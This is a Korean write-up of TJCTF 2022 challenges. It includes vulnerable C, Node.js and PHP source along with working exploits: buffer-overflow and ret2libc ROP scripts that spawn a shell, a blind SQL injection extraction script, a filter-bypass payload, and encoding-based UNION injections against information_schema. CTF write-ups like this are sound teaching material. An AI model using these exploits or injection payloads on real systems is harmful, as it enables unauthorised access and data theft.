바이너리 익스플로잇 문제와 웹 문제가 유익하고 재미있어서 좋았다.
또 팀원이 포렌식 문제를 진짜 잘 풀어서 너무 고마웠다.
모든 팀 중에서 63위를 했으며 총 768팀이 참여했다.
대회 정보는 이 링크를 참고하면 된다.
https://ctftime.org/event/1599
여기에는 내가 푼 문제만 작성했고 팀원이 푼 문제는 아래의 링크에서 확인할 수 있다.
https://github.com/t1mmyt1m/tjctf-2022-writeup
쉬운 문제였다. 그냥 잠깐 분석하고 바로 해결했다.
문제 소스코드는 아래와 같았다.
#include <stdio.h>
#include <stdlib.h>
struct Color
{
char friendlyName[32];
unsigned char r, g, b;
};
struct Color myFavoriteColor = {.friendlyName = "purple", .r = 0x32, .g = 0x54, .b = 0x34};
int main()
{
unsigned char r, g, b;
struct Color c;
setbuf(stdout, NULL);
puts("what's your favorite color's rgb value? (format: r, g, b)");
scanf("%hu, %hu, %hu", &r, &g, &b);
if (r == myFavoriteColor.r && g == myFavoriteColor.g && b == myFavoriteColor.b)
{
puts("no!!!");
return 1;
}
puts("good... good... and its pretty name?");
scanf("%s", &(c.friendlyName));
c.r = r;
c.g = g;
c.b = b;
printf("%s (%d, %d, %d) is a pretty cool color... but it's not as cool as %s (%d, %d, %d)...\n",
c.friendlyName, c.r, c.g, c.b,
myFavoriteColor.friendlyName, myFavoriteColor.r, myFavoriteColor.g, myFavoriteColor.b);
if (c.r == myFavoriteColor.r && c.g == myFavoriteColor.g && c.b == myFavoriteColor.b)
{
puts("oh wait...");
puts("it seems as if they're the same...");
char buf[100] = {0};
FILE *file = fopen("./flag.txt", "r");
if (file == NULL)
{
puts("no flag!!! feels bad L");
exit(1);
}
fgets(buf, 64, file);
printf("here's a flag: %s", buf);
fclose(file);
}
}
그냥 버퍼 오버플로를 이용해서 구조체의 r, g, b 를 overwrite 하면 해결된다.
기초적인 버퍼 오버플로 문제였다. 크게 어려운 문제는 아니였다.
x86_64 아키텍처에 보호기법은 Partial RELRO 와 NX 만 활성화되어 있었다.
문제 소스코드는 아래와 같았다.
#include <stdio.h>
#include <stdlib.h>
void shell_land() {
system("/bin/sh");
}
void vacation() {
char buf[16];
puts("Where am I going today?");
fgets(buf, 64, stdin);
}
void main() {
setbuf(stdout, NULL);
vacation();
puts("hmm... that doesn't sound very interesting...");
}
간단하게 버퍼 오버플로 취약점을 이용하여 ret2func 공격을 하여 shell_land 함수를 실행시키기만 하면 해결된다. 익스플로잇 코드는 아래와 같다.
#!/usr/bin/python3
from pwn import *
p = remote("tjc.tf", 31680)
#p = process("./chall")
#input()
print(p.recv())
buf = b""
buf += b'A' * 24
buf += p64(0x0040101a)
buf += p64(0x00401196)
p.sendline(buf)
p.interactive()
p.close()
앞의 문제에서 shell_land 함수만 사라졌다.
문제 소스코드는 아래와 같았다.
#include <stdio.h>
#include <stdlib.h>
void vacation() {
char buf[16];
puts("Where am I going today?");
fgets(buf, 64, stdin);
}
void main() {
setbuf(stdout, NULL);
vacation();
puts("hmm... that doesn't sound very interesting...");
}
쉘을 실행하는 함수가 문제 바이너리 안에 없기 때문에 라이브러리에서 찾아야 한다. PIE 보호기법이 꺼져 있기 때문에 puts 함수를 이용하여 라이브러리 시작 지점을 구하면 된다. ROP 기법을 사용하여 공격하였다.
익스플로잇 코드는 아래와 같다.
#!/usr/bin/python3
from pwn import *
context.log_level='debug'
p = remote("tjc.tf", 31705)
l = ELF("./lib/libc-2.31.so")
#p = process("./chall")
#l = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./chall")
print(p.recv())
ret = 0x0040101a
home = 0x00401176
pop_rdi = 0x00401243
puts_got = e.got["puts"]
puts_plt = e.plt["puts"]
buf = b""
buf += b'A' * 24
buf += p64(ret)
buf += p64(pop_rdi)
buf += p64(puts_got)
buf += p64(puts_plt)
buf += p64(home)
p.send(buf)
offset = p.recv(6) + b'\x00\x00'
offset = u64(offset)
offset -= l.sym["puts"]
print(hex(offset))
bin_sh = offset + list(l.search(b"/bin/sh"))[0]
system_sym = offset + l.sym["system"]
print(hex(bin_sh))
print(hex(system_sym))
print(p.recv())
buf = b""
buf += b'A' * 23
buf += p64(pop_rdi)
buf += p64(bin_sh)
buf += p64(system_sym)
p.sendline(buf)
p.interactive()
p.close()
소스코드가 없기 때문에 어셈블리어를 분석하거나 디컴파일해야 한다.
radare2 로 디스어셈블한 결과는 아래와 같았다.
; DATA XREF from entry0 @ 0x56205c92a0e1
┌ 229: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_60h @ rbp-0x60
│ ; var int64_t var_58h @ rbp-0x58
│ ; var int64_t var_50h @ rbp-0x50
│ ; var int64_t var_8h @ rbp-0x8
│ 0x56205c92a1a9 f30f1efa endbr64
│ 0x56205c92a1ad 55 push rbp
│ 0x56205c92a1ae 4889e5 mov rbp, rsp
│ 0x56205c92a1b1 4883ec60 sub rsp, 0x60
│ 0x56205c92a1b5 64488b042528. mov rax, qword fs:[0x28]
│ 0x56205c92a1be 488945f8 mov qword [var_8h], rax
│ 0x56205c92a1c2 31c0 xor eax, eax
│ 0x56205c92a1c4 488d3d5f0e00. lea rdi, str.Whats_your_flag_ ; 0x56205c92b02a ; "What's your flag?"
│ 0x56205c92a1cb e8b0feffff call sym.imp.puts ; int puts(const char *s)
│ 0x56205c92a1d0 488b15392e00. mov rdx, qword [reloc.stdin] ; [0x56205c92d010:8]=0
│ 0x56205c92a1d7 488d45b0 lea rax, [var_50h]
│ 0x56205c92a1db be40000000 mov esi, 0x40 ; '@' ; 64
│ 0x56205c92a1e0 4889c7 mov rdi, rax
│ 0x56205c92a1e3 e8c8feffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x56205c92a1e8 488d45b0 lea rax, [var_50h]
│ 0x56205c92a1ec 4889c7 mov rdi, rax
│ 0x56205c92a1ef e89cfeffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x56205c92a1f4 4883e801 sub rax, 1
│ 0x56205c92a1f8 488945a8 mov qword [var_58h], rax
│ 0x56205c92a1fc 48837da819 cmp qword [var_58h], 0x19
│ ┌─< 0x56205c92a201 7413 je 0x56205c92a216
│ │ 0x56205c92a203 488d3d320e00. lea rdi, [0x56205c92b03c] ; u"LW\u1b01\u3b03D"
│ │ 0x56205c92a20a e871feffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x56205c92a20f b801000000 mov eax, 1
│ ┌──< 0x56205c92a214 eb62 jmp 0x56205c92a278
│ │└─> 0x56205c92a216 48c745a00000. mov qword [var_60h], 0
│ │┌─< 0x56205c92a21e eb3d jmp 0x56205c92a25d
│ ┌───> 0x56205c92a220 488d55b0 lea rdx, [var_50h]
│ ╎││ 0x56205c92a224 488b45a0 mov rax, qword [var_60h]
│ ╎││ 0x56205c92a228 4801d0 add rax, rdx
│ ╎││ 0x56205c92a22b 0fb608 movzx ecx, byte [rax]
│ ╎││ 0x56205c92a22e 488d15db0d00. lea rdx, obj.flag ; 0x56205c92b010 ; "fxqftiuuus\x7fw`aaaaaaaaa'ao"
│ ╎││ 0x56205c92a235 488b45a0 mov rax, qword [var_60h]
│ ╎││ 0x56205c92a239 4801d0 add rax, rdx
│ ╎││ 0x56205c92a23c 0fb600 movzx eax, byte [rax]
│ ╎││ 0x56205c92a23f 31c8 xor eax, ecx
│ ╎││ 0x56205c92a241 3c12 cmp al, 0x12 ; 18
│ ┌────< 0x56205c92a243 7413 je 0x56205c92a258
│ │╎││ 0x56205c92a245 488d3df00d00. lea rdi, [0x56205c92b03c] ; u"LW\u1b01\u3b03D"
│ │╎││ 0x56205c92a24c e82ffeffff call sym.imp.puts ; int puts(const char *s)
│ │╎││ 0x56205c92a251 b801000000 mov eax, 1
│ ┌─────< 0x56205c92a256 eb20 jmp 0x56205c92a278
│ │└────> 0x56205c92a258 488345a001 add qword [var_60h], 1
│ │ ╎││ ; CODE XREF from main @ 0x56205c92a21e
│ │ ╎│└─> 0x56205c92a25d 488b45a0 mov rax, qword [var_60h]
│ │ ╎│ 0x56205c92a261 483b45a8 cmp rax, qword [var_58h]
│ │ └───< 0x56205c92a265 72b9 jb 0x56205c92a220
│ │ │ 0x56205c92a267 488d3dd00d00. lea rdi, [0x56205c92b03e] ; "W"
│ │ │ 0x56205c92a26e e80dfeffff call sym.imp.puts ; int puts(const char *s)
│ │ │ 0x56205c92a273 b800000000 mov eax, 0
│ │ │ ; CODE XREFS from main @ 0x56205c92a214, 0x56205c92a256
│ └──└──> 0x56205c92a278 488b75f8 mov rsi, qword [var_8h]
│ 0x56205c92a27c 644833342528. xor rsi, qword fs:[0x28]
│ ┌─< 0x56205c92a285 7405 je 0x56205c92a28c
│ │ 0x56205c92a287 e814feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ └─> 0x56205c92a28c c9 leave
└ 0x56205c92a28d c3 ret
문자열 fxqftiuuus\x7fw`aaaaaaaaa'ao
에 바이트 단위로 0x12(18)과 xor 연산을 하여 사용자의 입력값과 비교하고 있다. 맞으면 W, 틀리면 L이 출력된다.
아래와 같은 간단한 파이썬 스크립트로 해결할 수 있었다.
#!/usr/bin/python3
string = "fxqftiuuus\x7fw`aaaaaaaaa'ao"
key = 0x12
for i in string:
o = ord(i)
o ^= key
o = chr(o)
print(o, end = "")
실행시켜 보면 tjctf{gggamersssssssss5s}
이라는 플래그를 얻을 수 있다.
블라인드 SQL 인젝션 문제이다. DB 내용이 시간이 지나면 변하는 것으로 추정되기 때문에 여기서 작성한 익스플로잇은 나중에 쓰면 아마 실패할 것이다.
함께 제공된 index.js 파일은 아래와 같았다.
const express = require('express')
const cookieParser = require('cookie-parser')
const fs = require('fs')
const app = express()
app.use(cookieParser())
app.set('view engine', 'ejs')
app.use(express.static(`${__dirname}/public`))
app.use(express.urlencoded({ extended: false }))
const db = require('./db')
const FLAG = fs.readFileSync(`${__dirname}/flag.txt`).toString().trim()
const getLeaderboard = (minScore) => {
const where = (typeof minScore !== 'undefined' && minScore !== '') ? ` WHERE score > ${minScore}` : ''
const query = `SELECT profile_id, name, score FROM leaderboard${where} ORDER BY score DESC`
const stmt = db.prepare(query)
const leaderboard = []
for (const row of stmt.iterate()) {
if (leaderboard.length === 0) {
leaderboard.push({ rank: 1, ...row })
continue
}
const last = leaderboard[leaderboard.length - 1]
const rank = (row.score == last.score) ? last.rank : last.rank + 1
leaderboard.push({ rank, ...row })
}
return leaderboard
}
app.get('/', (req, res) => {
const leaderboard = getLeaderboard()
return res.render('leaderboard', { leaderboard })
})
app.post('/', (req, res) => {
const leaderboard = getLeaderboard(req.body.filter)
return res.render('leaderboard', { leaderboard })
})
app.get('/user/:userID', (req, res) => {
const leaderboard = getLeaderboard()
const total = leaderboard.length
const profile = leaderboard.find(x => x.profile_id == req.params.userID)
if (typeof profile === 'undefined') {
return res.render('user_info', { notFound: true })
}
const flag = (profile.rank === 1) ? FLAG : 'This is reserved for winners only!'
return res.render('user_info', { total, flag, ...profile })
})
app.listen(3000, () => {
console.log('server started')
})
1위의 유저 ID 값을 구하기만 하면 된다. SQL 인젝션이 가능한 것을 확인할 수 있다.
우선 인젝션이 가능한 것을 확인하였다. 하지만 이후 ASCII 함수가 계속 실패하였는데 UNICODE 함수를 사용하니 작동하였다.
최종적인 익스플로잇은 아래와 같다.
#!/usr/bin/python3
import requests
score = 59
url = "https://game-leaderboard.tjc.tf"
ok = []
for i in range(1, 17):
print(i)
for j in range(48, 123):
buf = "%d AND UNICODE(SUBSTR(profile_id, %d, 1)) = %d" % (score - 1, i, j)
r = requests.post(url, data = {"filter" : buf})
test = '<td class="text-center">%d</td>' % score
if test in r.text:
print(chr(j), "CORRECT!")
ok.append(chr(j))
break
else:
print(chr(j), "NOPE!")
ok = "".join(ok)
print(ok)
실행시켜 보면 플래그를 얻을 수 있었다. (점수가 변해서 지금은 익스플로잇을 수정해야 가능할 것이다.)
SQL 인젝션 필터링 우회 문제였다. 꽤 고민했는데 알고 보니 간단했다.
서버의 구성 파일 중 index.js 파일은 아래와 같았다.
const express = require('express')
const app = express()
app.use(express.json())
const db = require('./db')
const { randStr } = require('./utils')
const fs = require('fs')
const flag = fs.readFileSync('flag.txt').toString().trim()
const wrong = new Array(16).fill("N")
const right = new Array(16).fill("G")
const randomize = () => {
const word = randStr(16).replaceAll("'", "''")
const query = db.prepare(`UPDATE answer SET word = '${word}'`)
query.run() // haha now you will never get the word
}
const waf = (str) => {
const banned = ["OR", "or", "--", "=", ">", "<"]
for (const no of banned) {
if (str.includes(no)) return false
}
return true
}
const getWord = () => {
const query = db.prepare('SELECT * FROM answer')
return query.get()
}
const checkWord = (word) => {
const query = db.prepare(`SELECT * FROM answer WHERE word = '${word}'`)
return typeof query.get() !== 'undefined'
}
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html')
})
app.post('/guess', (req, res) => {
if (typeof req.body.word !== 'string') {
return res.status(400).end('???')
}
randomize()
const word = req.body.word
if (!waf(word)) {
return res.json({
check: false,
flag: null,
sql: true,
colors: wrong,
})
}
const { word: correct } = getWord()
try {
if (checkWord(word)) {
return res.json({
check: true,
flag: flag,
sql: false,
colors: right,
})
}
} catch (e) {
return res.json({
check: false,
flag: null,
sql: false,
colors: wrong,
})
}
const colors = Array.from(wrong)
const maybe = new Map()
for (let i = 33; i <= 126; i++) {
maybe.set(String.fromCharCode(i), 0)
}
for (let i = 0; i < 16; i++) {
const c = correct.charAt(i)
if (word.charAt(i) === c) {
colors[i] = "G"
} else {
maybe.set(c, maybe.get(c) + 1)
}
}
for (let i = 0; i < 16; i++) {
if (colors[i] === "G") continue
const c = word.charAt(i)
if (maybe.get(c) > 0) {
colors[i] = "Y"
maybe.set(c, maybe.get(c) - 1)
}
}
return res.json({
check: false,
flag: null,
sql: false,
colors: colors,
})
})
app.listen(3000, '0.0.0.0')
OR, or, --, =, >, <
이 필터링된다. 하지만 Or 은 필터링 목록에 없다!
테스트를 편하게 하기 위해서 간단한 스크립트를 작성해서 풀었다.
#!/bin/bash
read word
curl -d "{\"word\":\"$word\"}" -H "Content-Type: application/json" -X POST https://ascordle.tjc.tf/guess
echo " OK"
실행시켜서 1' Or '1
을 입력해 보면 플래그를 얻을 수 있었다.
UNION 기반 SQL 인젝션 문제이다.
서버의 구성 파일 중 search.php 를 발견하였는데, 이 파일에서 취약점이 발생한다.
<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
function search() {
$ret = [];
if (!isset($_GET["q"])) {
return $ret;
}
$db = new mysqli("p:mysql", "app", "07b05ee6779745b258ef8dde529940012b72ba3a007c7d40a83f83f0938b5bf0", "analects");
$query = addslashes($_GET["q"]);
$sql = "SELECT * FROM analects WHERE chinese LIKE '%{$query}%' OR english LIKE '%{$query}%'";
$result = $db->query($sql);
while ($row = $result->fetch_assoc()) {
$row["chinese"] = mb_convert_encoding($row["chinese"], "UTF-8", "GB18030");
$row["english"] = mb_convert_encoding($row["english"], "UTF-8", "GB18030");
array_push($ret, $row);
}
$result->free_result();
return $ret;
}
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(search());
?>
유니코드 인코딩을 이용해서 인젝션에 성공했다.
UNION 기반으로 공격을 시도하기로 하였다.
UNION 기반으로 아래와 같이 컬럼명과 테이블명을 얻은 다음 플래그를 읽었다.
테이블명 유출: 1%aa%27%20union%20select%201,2,3,4,5,table_name%20from%20information_schema.tables%23
필드명 유출: 1%aa%27%20union%20select%201,2,3,4,5,column_name%20from%20information_schema.columns%23